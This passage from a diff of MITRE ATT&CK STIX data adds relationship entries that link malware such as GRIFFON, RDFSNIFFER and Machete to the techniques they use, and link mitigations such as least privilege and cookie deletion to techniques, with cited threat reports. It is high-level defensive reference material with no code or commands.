"FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has encoded its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit Initialization vector (IV) to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:04:32.138Z", + "id": "relationship--537fb955-d073-4ec1-a524-a0109ed18e85", + "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "modified": "2019-10-11T16:04:32.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) has used several Win32 API functions to interact with the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:13:19.695Z", + "id": "relationship--bcd66737-6beb-4cf8-9ba1-8a32731d1da1", + "source_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "modified": "2019-10-11T16:13:19.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) has the capability of deleting local files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:13:19.709Z", + "id": "relationship--81d5c85f-ea7c-47a2-879c-df34e93d88c2", + "source_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "modified": "2019-10-11T16:13:19.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) hooks several Win32 API functions to hijack elements of the remote system management user-interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:13:19.711Z", + "id": "relationship--71a3a771-3674-4b44-8742-bed627f178b3", + "source_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "modified": "2019-10-11T16:13:19.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:14:20.334Z", + "id": "relationship--cc99be16-89cc-427a-b348-2236add3d816", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-10-11T16:14:20.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:14:20.340Z", + "id": "relationship--ece11a34-960b-4ead-8258-02bee1bb0e41", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-10-11T16:14:20.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "description": "Limit user account and IAM policies to the least privileges required. Consider using temporary credentials for accounts that are only valid for a certain period of time to reduce the effectiveness of compromised accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:09:28.989Z", + "id": "relationship--27fde8e9-ab78-43aa-9642-14ac0cd958ff", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-23T14:26:33.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used PowerShell to execute the Meterpreter downloader TinyMet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.278Z", + "id": "relationship--f4315d71-e2aa-4039-acfa-c7737b1e8c86", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-15T17:32:49.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve the date and time of the system.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.294Z", + "id": "relationship--3ce0fee3-3ad5-49b9-8213-871484674d93", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-11T17:29:20.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a persistence module that stores the implant inside the Registry, which executes at logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.306Z", + "id": "relationship--bdbd9cce-7d32-4e87-8036-3e602a3783b9", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-15T17:32:49.774Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a screenshot module that can be used to take a screenshot of the remote system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.309Z", + "id": "relationship--06b747a6-a3d2-441e-9a24-b79491be3647", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-11T17:29:20.309Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used sctasks for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.311Z", + "id": "relationship--d27b805a-3570-434e-9ac7-e37407a4dd8e", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-11T17:29:20.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve Windows domain membership information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.315Z", + "id": "relationship--3a3efac5-1531-413b-97b7-e210b8880f05", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-11T17:29:20.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:29:20.317Z", + "id": "relationship--66bd7bd5-b53f-4791-a130-7278541f3fa7", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "modified": "2019-10-11T17:29:20.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "source_name": "SecureList Griffon May 2019", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T17:33:29.152Z", + "id": "relationship--08678e7f-c675-4f85-9593-f06cb90f6e44", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-10-11T17:33:29.152Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList Griffon May 2019", + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) has used -WindowStyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T19:07:42.330Z", + "id": "relationship--3877277b-ae7c-4cb8-b564-3263b235c1e7", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.330Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", + "description": "Enforce the principle of least-privilege by limiting dashboard visibility to only the resources required. This may limit the discovery value of the dashboard in the event of a compromised account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T20:39:32.568Z", + "id": "relationship--ba2b1689-b46c-4451-9618-1c1669a0da0c", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-23T14:19:37.591Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM properties to execute malware in hidden windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-14T15:48:05.429Z", + "id": "relationship--fcd9b8a1-60c0-4d6b-9742-77f9104f8e56", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-10-14T15:48:05.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bromium Ursnif Mar 2017", + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "description": "A physical second factor key that uses the target login domain as part of the negotiation protocol will prevent session cookie theft through proxy methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-14T16:25:38.680Z", + "id": "relationship--7a1cf82e-68e5-49ca-89ae-e492cd85dab4", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-22T19:59:20.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gretzky, K.. (2018, July 26). Evilginx 2 - Next Generation of Phishing 2FA Tokens. Retrieved October 14, 2019.", + "source_name": "Evilginx 2 July 2018", + "url": "https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "description": "Configure browsers or tasks to regularly delete persistent cookies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-14T16:25:38.693Z", + "id": "relationship--248a0d72-d9cd-43d3-985f-a33a49a79e8b", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-10-22T19:59:20.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "description": "Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-14T16:25:38.695Z", + "id": "relationship--f780f9d8-1baa-41b7-b7a1-acba717df0ab", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-22T19:59:20.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", + "description": "Configure browsers or tasks to regularly delete persistent cookies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-14T16:44:31.042Z", + "id": "relationship--54ef3817-2d1e-40dd-ac7d-41ffb1da3ecd", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-10-17T13:21:27.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for antimalware processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T20:02:39.741Z", + "id": "relationship--d9b8e0cf-8906-45a4-8dd2-5ef9971e1a6d", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-10-15T20:02:39.741Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Machete](https://attack.mitre.org/software/S0409) has been packed with NSIS. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T21:08:31.593Z", + "id": "relationship--29dcecc6-83ea-4e82-b368-b54812157b41", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-15T21:15:20.164Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Machete](https://attack.mitre.org/software/S0409) uses Python scripts. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T21:15:19.842Z", + "id": "relationship--cb58db80-48e9-4138-9ce4-bd726a3d1745", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-15T21:15:19.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Machete](https://attack.mitre.org/software/S0409) collects stored credentials from several web browsers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T21:15:19.857Z", + "id": "relationship--48a5f18e-d744-4600-8489-18533cadb0c0", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-15T21:15:19.857Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Machete](https://attack.mitre.org/software/S0409) exfiltrates the files \u201ckey3.db\u201d and \u201csignons.sqlite\u201d, which store passwords, from several browsers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T21:19:28.133Z", + "id": "relationship--16938729-c0ea-4856-8467-1ad829f99825", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-15T21:19:28.133Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "description": "[Machete](https://attack.mitre.org/software/S0409) retrieves the user profile data (e.g., browsers) from Chrome and Firefox browsers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T21:19:28.149Z", + "id": "relationship--334ae43c-2c0b-4a7a-aab5-6ff59005dbf5", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-15T21:19:28.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious links or attachments delivered through spearphishing to execute malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-15T22:28:40.394Z", + "id": "relationship--0f880e99-efaa-4e85-91c3-cac3d81d6b9a", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-10-15T22:28:40.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "description": "Several cloud service providers support content trust models that require container images be signed by trusted sources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-16T20:44:09.399Z", + "id": "relationship--24e20a3c-5f74-40bc-a5b0-108bc0233305", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-10-22T19:49:39.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2019, September 5). Content trust in Azure Container Registry. Retrieved October 16, 2019.", + "source_name": "Content trust in Azure Container Registry", + "url": "https://docs.microsoft.com/en-us/azure/container-registry/container-registry-content-trust" + }, + { + "description": "Docker. (2019, October 10). Content trust in Docker. Retrieved October 16, 2019.", + "source_name": "Content trust in Docker", + "url": "https://docs.docker.com/engine/security/trust/content_trust/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP whitelisting along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-17T19:25:21.088Z", + "id": "relationship--cf63b75f-564f-4713-a5b3-1f102d098e8e", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-22T20:02:00.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Cloud service providers support IP-based restrictions when accessing cloud resources. Consider using IP whitelisting on cloud-based systems along with user account management to ensure that data access is restricted not only to valid users but only from expected IP ranges to mitigate the use of stolen credentials to access data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-22T20:07:29.355Z", + "id": "relationship--e38d51a7-a4bc-4489-84c6-703f5d174816", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": 